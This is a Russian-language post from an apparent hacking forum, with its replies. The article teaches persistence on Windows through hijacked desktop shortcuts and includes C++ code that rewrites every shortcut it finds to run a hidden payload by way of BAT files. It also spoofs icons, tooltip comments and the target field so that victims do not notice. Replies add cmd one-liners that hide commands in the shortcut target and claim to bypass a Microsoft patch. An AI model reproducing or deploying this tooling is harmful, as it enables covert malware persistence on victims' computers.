• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Двойное дно файлов LNК или ещё одни способ закрепления в Windows.

user_47

(L3) cache
Пользователь
Регистрация
25.06.2023
Сообщения
210
Решения
2
Реакции
93
Гарант сделки
2
Автор: user_47 (members/319714/)
Специально для: xss.pro


Всем салют!

Сегодня предлагаю рассмотреть чрезмерно тривиальный способ закрепления в системе Windows. При этом нас мало будет интересовать с какой версией системы предстоит работа. Так как мы будем использовать ярлыки созданные самим пользователем для своего удобства на рабочем столе. Идея заключается в следующем. Вносим такие изменения в существующие ярлыки, которые позволят по клику на ярлык отобразить пользователю то что он ожидает увидеть плюс произвести запуск нашей полезной нагрузки. В начале соберём всю конструкцию руками. Проверим как она работает. А потом это дело автоматизируем.

0x01. Описание идеи.
0x02. Исходные данные и постановка задачи.
0x03. Внешний вид.
0x04. Двойное дно.
0x05. Сборка.
0x06. Автоматизация редактирования ярлыков.
0x07. Заключение.

0x01. Описание идеи.
При чтении очередного годового отчёта безопасников наткнулся на очень простую идею закрепления в системе Windows. Использование ярлыков на рабочем столе. Подозреваю что идея не нова. Тем не менее меня она зацепила своей простотой и на мой взгляд эффективностью. Что меня ещё больше удивило, так это её отсутствие в миллионе статей про persistens на ресурсах об WhiteHat. На форме мне удалось найти лишь одно упоминание об предложенном способе в рамках статьи про различные способы закрепа. Посчитал тему не раскрытой. И решил разобраться самостоятельно.

0x02. Исходные данные и постановка задачи.
исходные данные.JPG

Какими ярлыками обычно завалены рабочие столы рядовых юзеров? Из всех возможных вариантов для упрощения задачи я выделил четыре наиболее популярные группы. Это ярлыки которые ссылаются на файлы txt, на исполняемые файлы exe, на папки и на офисные таблицы Microsoft Excel.

Теперь подумаем какой результат мы должны получить после внедрения в тушку ярлыка. Во-первых, после наших манипуляций ярлык должен выглядеть как прежде. Во-вторых, при клике на него пользователь должен увидеть то, что ожидает увидеть. То есть если это ярлык на папку, то должна открыться папка. Если ярлык на документ, открывается документ с паролями:) Если любимая игрулька от которой хочется хлопать в ладоши, то нельзя лишать юзера такого удовольствия. Идея думаю тут понятна. Разберёмся с этим вопросом подробнее.

0x03. Внешний вид.
Что у файла LNK может выдать наше вмешательство? Начну с не очевидного - всплывающая подсказка. Показывает из какого места будет запускаться объект, на который ссылается ярлык. Она появляется при наведении курсора на иконку значка на рабочем столе когда все окна закрыты или неактивны. Здесь проблема решается просто. Меняем в свойствах ярлыка поле "Комментарий:" на нужное и дело в белой шляпе).

Второе - это иконка самого ярлыка. По умолчанию она выбирается такая же как у файла на который ссылается ярлык. При изменении объекта ярлыка иконка поменяется автоматически. Такое изменение легко заметит даже самый слепой юзер. Но нам повезло. Руками в свойствах есть возможность исправить иконку на необходимую. С визуалом разобрались. Можно переходить к более интересному.

0x04. Двойное дно.
Как сделать магию, при которой по двойному клику на значке ярлыка юзеру откроется привычное оконце и незаметно для него отработает нагрузка? Тут доступно несколько вариантов. Самый простой и не самый плохой это поместить в поле ярлыка "Объект:" строку такого вида:

cmd.exe /c calc.exe & C:\Users\TestUser\Documents\app_user.exe

тут в качестве нагрузки будет calc.exe. app_user приложение пользователя запуск которого он ожидает.
Достоинство такого способа это отсутствие необходимости помещать на жёсткий диск юзера лишние файлы в виде скриптов (только файл полезной нагрузки). Недостаток, это использование cmd. Почему то системы безопасности корпов часто следят за запуском этого экзешника:)

Я решил пойти более геморным путём и прописать в объекте ярлыка такой скрипт или приложение, которое как раз и сделает нужные нам действия. В своём варианте я буду использовать очень простенький BAT файл. Не возбраняется ссылаться на исполняемый файл. В иных случаях может быть целесообразно применить скрипты написанные на VBS, JScript или PowerShell. Только надо понимать, что стандартные интерпретаторы названых языков в корпоративных средах находятся под колпаком. И чтобы реализовать запуск стоит посмотреть на проект LOLBAS. Такой ход не даёт стопроцентной гарантии успеха запуска. Он даёт возможность побороться и не сдаваться сразу.

0x05. Сборка.
Давайте попробуем всё что я описал собрать руками и посмотреть как это будет выглядеть и работать на практике. В тестовой среде я создал нового юзера и сделал у него в документах три типовых файлика и папку. На рабочем столе создал для них ярлыки. Затем определил на жёстком диске укромное место, где будет храниться полезная нагрузка и батники. В качестве полезной нагрузки традиционно применим калькулятор.

Создадим руками батники для каждого ярлыка. Прикинем что будем писать в батнике для реализации хитроумного плана с двойным дном:

Код:
@echo off
start C:\Users\TestUser\Documents\folder_user
start C:\Intel\payload.exe

Первой строкой просим не отображать черное окошко cmd перед лицом юзера. Дальше запускаем что должен увидеть юзер. Третья строка запускает нашу нагрузку.
Запустим, чтобы оценить работоспособность моей идеи на этом этапе.

run_bat.JPG


Дальше исправляем ярлыки. Видим кривые иконки.

bad_icons.JPG


Принимаем меры. Для файлов txt стандартная иконка храниться в файле C:\Windows\System32\SHELL32.dll или C:\Windows\System32\imageres.dll

txt.JPG


Там же для папки.

folder.JPG


Стоит отметить, что Windows применяет разные значки для пустых и полных папок. Стоит на это обратить внимание при работе с такими ярлыками. Нам потребуется иконка для полной папки. Потому что навряд ли пользователь будет делать для себя ярлыки к пустым папкам. Для исполняемых файлов всё проще. Иконка храниться прямо в бинарнике на который ссылается ярлык.

exe.JPG


На первый взгляд уже всё хорошо. Сейчас нас может подвести только всплывающая подсказка.

всплывающая подсказка.JPG


Надо поправить. Для этого пишем в поле "Комментарий:" нужную строку.

комментрарий.JPG


Мы сделали всё чтобы не спровоцировать пользователя залезть в свойства ярлыка. Если всё таки это окошко будет открыто под подозрение может сразу попасть поле "Объект:". Чтобы не напрягать юзра просто через пробел дописываем в конец путь до файла, на который этот ярлык должен ссылаться. Либо при запуске через cmd вторым параметром указываем именно легитимный файл пользователя. Результат видим на скрине. Если путь до этого файла будет длиннее, тогда пользователю отобразиться только конец строки, где как раз и будет прописан легитимный файл или папка.

объект.JPG


Ещё один двойной клик по ярлыку и видим успешный запуск пользовательских окошек и нашей нагрузки. Смотрим что происходит при этом в Диспетчере задачь:

диспетчер задачь.JPG



Самостоятельно запущенные процессы, без привязки к cmd или powershell. Можно переходить к автоматизации задумки.

0x06. Автоматизация редактирования ярлыков.
Для автоматизации всех описанных выше действий накидал алгоритм будущей программы:
Код:
- определяем папку рабочего стола пользователя под которым запустились
    - ищем ярлыки в этой папке
        - если нашли ярлык
            - определяем объект на который он ссылается
            - определяем расширение этого объекта
                - если найдено нужное расширение
                    - пробуем записать в папку скрипт с ссылкой на запуск объекта
                    - если файл скрипта успешно создан
                        - изменяем ярлык, чтобы он ссылался на наш скрипт
                        - изменяем значок ярлыка
                        - изменяем комментарий ярлыка

Оживлять этот алгоритм будем на С++ с применением WinAPI и COM - интерфейсов. Прога написана в виде демонстрации возможностей по автоматизации предложенного метода. И для использования такого варианта в боевых условиях требует кое-каких доработок.

Путь до папки рабочего стола находим через функцию GetPathDesktop. Основа этой функции винапишная функция SHGetKnownFolderPath:

C++:
std::wstring GetPathDesktop() {

    PWSTR desktopPath = NULL;

    // Получаем путь к папке рабочего стола
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_Desktop, 0, NULL, &desktopPath);

    if (SUCCEEDED(hr)) { return desktopPath; }
    else { return L"Error"; }
}

Поиск ярлыков в найденой папке делаем с помощью функции FindFirstFileW:

C++:
// Формируем маску для поиска файлов с заданным расширением
std::wstring searchPath = pathDesktop + L"\\*.lnk";

// ищем ярлыки на рабочем столе
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(searchPath.c_str(), &findFileData);

if (hFind == INVALID_HANDLE_VALUE) {
    std::wcout << L"Error find path desktop: " << searchPath << std::endl;
    return 0;
}
else {
    std::wcout << L"File in desktop find." << searchPath << std::endl;
}

do {
    // Проверяем, является ли найденный файл обычным файлом (не директорией)
    if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
        // формируем путь до найденного на рабочем столе ярлыка
        std::wstring pathLnk = pathDesktop + L"\\" + findFileData.cFileName;
        std::wcout << L"Find LNK file: " << pathLnk << std::endl;
        // запускаем процесс его модификации
        EditLnk(pathLnk, std::wstring(findFileData.cFileName));
    }
    else {
        std::wcout << L"Find file not file" << std::endl;
    }
} while (FindNextFileW(hFind, &findFileData) != 0);

// Закрываем хэндл
FindClose(hFind);

Если нашли ярлык, запускаем функцию EditLnk. Эта функция построена на основе COM - интерфейсов IShellLink и IPersistFile.

Используя метод GetPath в интерфейсе IShellLink определяем файл, на который ссылается найденый ярлык. Полный путь до него с именем самого файла складываем в переменную target. В поле cFileName структуры wfd будет лежать имя файла, на который ссылается ярлык.

C++:
// получаем адрес файла на который ссылается ярлык
hres = pShellLink->GetPath(target, _MAX_PATH, &wfd, SLGP_SHORTPATH);
if (SUCCEEDED(hres)) { std::wcout << L"Path to target: " << target << std::endl; }

Функцией GetFileTypeInLnk будем определять какое расширение у файла, на который ссылается ярлык.

C++:
std::wstring GetFileTypeInLnk(const std::wstring& filePath) {
    size_t dotPos = filePath.find_last_of(L'.');
    if (dotPos != std::wstring::npos) {
        return filePath.substr(dotPos);
    }
    return L"";
}

Расширение складываем в переменную targetType

std::wstring targetType = GetFileTypeInLnk(target);

Ищем нужное расширение. Определяем для него адрес файла с нужной иконкой и индекс иконки в этом файле. Переменная check нужна чтобы понять, что нужный тип был обнаружен.

C++:
// тхт файл
if (targetType == L".txt") {
    pathIcon = L"C:\\Windows\\System32\\SHELL32.dll";
    indexIcon = 70;
    check = true;
}

Если нашли нужное расширение пытаемся создать на диске файл скрипта. Применяем функцию CreateScript.
C++:
// создание файла скрипта
std::wstring CreateScript(std::wstring FolderSaveScr, std::wstring NameLnk, std::string Target) {
    // Имя файла скрипта
    std::wstring PathScr = L"C:\\Intel\\" + NameLnk + L".bat";
   
    // Создаем файл скрипта
    HANDLE hFile = CreateFileW(
        PathScr.c_str(),         // Имя файла
        GENERIC_WRITE,           // Открыть для записи
        0,                       // Нет совместного доступа
        NULL,                    // Без атрибутов безопасности
        CREATE_ALWAYS,           // Создать новый файл, перезаписать если существует
        FILE_ATTRIBUTE_NORMAL,   // Обычный файл
        NULL                     // Нет шаблона файла
    );

    // Проверяем, удалось ли открыть файл
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cerr << "File not open. Error #: " << GetLastError() << std::endl;
        return L"false";
    }

    // Данные для записи
    std::string DataInFile = "@echo off\nstart ";
                                DataInFile += Target;
                                DataInFile += "\nstart C:\\Intel\\payload.exe";

    DWORD bytesWritten; // Количество записанных байтов

    // Записываем данные в файл
    BOOL result = WriteFile(
        hFile,                  // Дескриптор файла
        DataInFile.c_str(),   // Указатель на данные для записи
        DataInFile.size(),    // Количество байтов для записи
        &bytesWritten,          // Количество записанных байтов
        NULL                    // Не используем асинхронный ввод-вывод
    );

    // Проверяем, была ли запись успешной
    if (!result) {
        std::cerr << "Error write in file. Error #: " << GetLastError() << std::endl;
        CloseHandle(hFile); // Закрываем дескриптор файла перед выходом
        return L"false"; // Возвращаем код ошибки
    }

    // Закрываем дескриптор файла
    CloseHandle(hFile);
    return PathScr;
}

Тут есть один ньюанс. Тип переменной в которой готовим данные для записи в батник DataInFile обязательно должен быть std::string или char. То есть исползовать один байт для записи одного символа. Если заполнить батник из переменной которая для одного символа тратит два байта (std::wstring или wchar_t) тогда этот батник не запуститься.

В случае успешной записи скрипта на диск начинаем подготавливать изменения для файла ярлыка:

C++:
// Изменяем ярлык, чтобы он ссылался на наш скрипт
hres = pShellLink->SetPath(PathScr.c_str());
if (SUCCEEDED(hres)) { std::wcout << L"Set new path in Lnk." << std::endl; }

// изменяем значок ярлыка
hres = pShellLink->SetIconLocation(pathIcon.c_str(), indexIcon);
if (SUCCEEDED(hres)) { std::wcout << L"Set new Icon location in Lnk." << std::endl; }

// изменяем комментарий ярлыка
std::wstring DescrLnk = L"Расположение: " + std::wstring(wfd.cFileName) + L" (" + target + L")";
hres = pShellLink->SetDescription(DescrLnk.c_str());
if (SUCCEEDED(hres)) { std::wcout << L"Set new Description in Lnk." << std::endl; }

Если всё подготовилось успешно, изменяем файл ярлыка.

C++:
hres = pPersistFile->Save(LnkPath.c_str(), FALSE);
if (SUCCEEDED(hres)) {
    std::wcout << L"Lnk edit successful." << std::endl;
}
else {
    std::wcout << L"Error save Lnk." << std::endl;
}

0x07. Заключение.
В тексте статьи я предложил для закрепа использовать ярлыки ссылающиеся на четыре типа файлов. А в программе реализовал работу только с тремя. Проигнорировал таблички эксельки. Решил всё таки не накатывать ради одной статьи творение мелкомягких в свою среду разработки. И оставить этот момент для самостоятельной работы.

Достоинства предложенного метода закрепления:
- низкие права в системе;
- никакой софт мониторинга стандартных мест автозагрузки не спалит наш закреп;
- при просмотре диспетчера задачь наша нагрузка будет выглядеть вполне лигитимно.

Минусы:
- недопустимо пользоваться прогой дважды под одним юзером. Так как после первого запуска в ярлыке будет прописан адрес до нашего скрипта. При повторном запуске проги, этот адрес запишется в наш скрипт. И при клике по ярлыку мы получем циклический вызов нашей нагузки. Выглядит это на экране очень эпично;)
- могут быть проблемы с запуском скриптов под стандартными итерпритаторами;
- приходиться помещать нагрузку и вспомогательные скрипты на диске жертвы.

В архиве только исходник. Пасс местный в base64

Спасибо за внимание!
 

Вложения

  • edit_lnk.cpp.zip
    3.3 КБ · Просмотры: 43
Пожалуйста, обратите внимание, что пользователь заблокирован
Достоинство такого способа это отсутствие необходимости помещать на жёсткий диск юзера лишние файлы в виде скриптов (только файл полезной нагрузки). Недостаток, это использование cmd
Я решил пойти более геморным путём и прописать в объекте ярлыка такой скрипт или приложение, которое как раз и сделает нужные нам действия. В своём варианте я буду использовать очень простенький BAT файл
А через что, позволь спросить, запускаются BAT файлы, не через cmd ли часом, не?
 
А через что, позволь спросить, запускаются BAT файлы, не через cmd ли часом, не?
и прописать в объекте ярлыка такой скрипт или приложение, которое как раз и сделает нужные нам действия.
тут имеется в ввиду использование скрипта. самым простым было использовать бат.
Не возбраняется ссылаться на исполняемый файл. В иных случаях может быть целесообразно применить скрипты написанные на VBS, JScript или PowerShell.
тут именно про это и писал.
 
На форме мне удалось найти лишь одно упоминание об предложенном способе в рамках статьи про различные способы закрепа. Посчитал тему не раскрытой. И решил разобраться самостоятельно.
shortcut hijacking/persistence is at least 25years old. Stuxnet abused it in 2010 + every redteam cheatsheet + sektor7 lab+ DFIR+ mitre att&kck + LOLBAS listd+ red canary + spectorps has covered it ad nauseam.


тут имеется в ввиду использование скрипта. самым простым было использовать бат.
32.jpg
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Показываю зиродей уровня APT1337 один раз, как обойти патч от майкрософт (ZDI-CAN-25373). Там суть была в том, что можно было добавить пробелы. Теперь же когда ты их добавляешь, при просмотре свойств сразу показывается конец пути.
%comspec% /c powershell -Command "Start-Process calc"
Поэтому сколько бы ты не добавлял пробелов сразу будет виден calc. Чтобы обойти эту фигню, просто добавляем комментарий.
%comspec% /c powershell -Command "Start-Process calc" & echo "C:\Users\admin\folder12321321321321\Desktop\document.rtf"
И команды опять не видно.

lnk.png
 
Этот способ давно и во всю абузит форфикс для спридинга по usb, но тем не менее спасибо за старания. На что-то вроде шпоры пойдёт ;)

Чтобы обойти эту фигню, просто добавляем комментарий.

Можно поступить более элегантно и вместо echo использовать настоящие комменты в cmd
%comspec% /c start explorer folder & start calc.exe ::" mazafaka"

Потом это всё запортить использованием всяких там ^ и будет вообще APT-APTшное)
 
:: isn’t a comment outside a batch context. In a oneliner executed via cmd.exe /c, it’s parsed as a label token.
 
:: isn’t a comment outside a batch context. In a oneliner executed via cmd.exe /c, it’s parsed as a label token.
There are no problems with the exec. So I don't think there is any serious difference. But instead of nitpicking words you can show where it will give a problem in execution. I will be glad to see :)
 
There are no problems with the exec. So I don't think there is any serious difference. But instead of nitpicking words you can show where it will give a problem in execution. I will be glad to see

cmd /v:on /c "(echo Start && set var=Hello && rem set var=Nope)
cmd /v:on /c "(echo Start && set var=Hello && :: set var=Nope)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх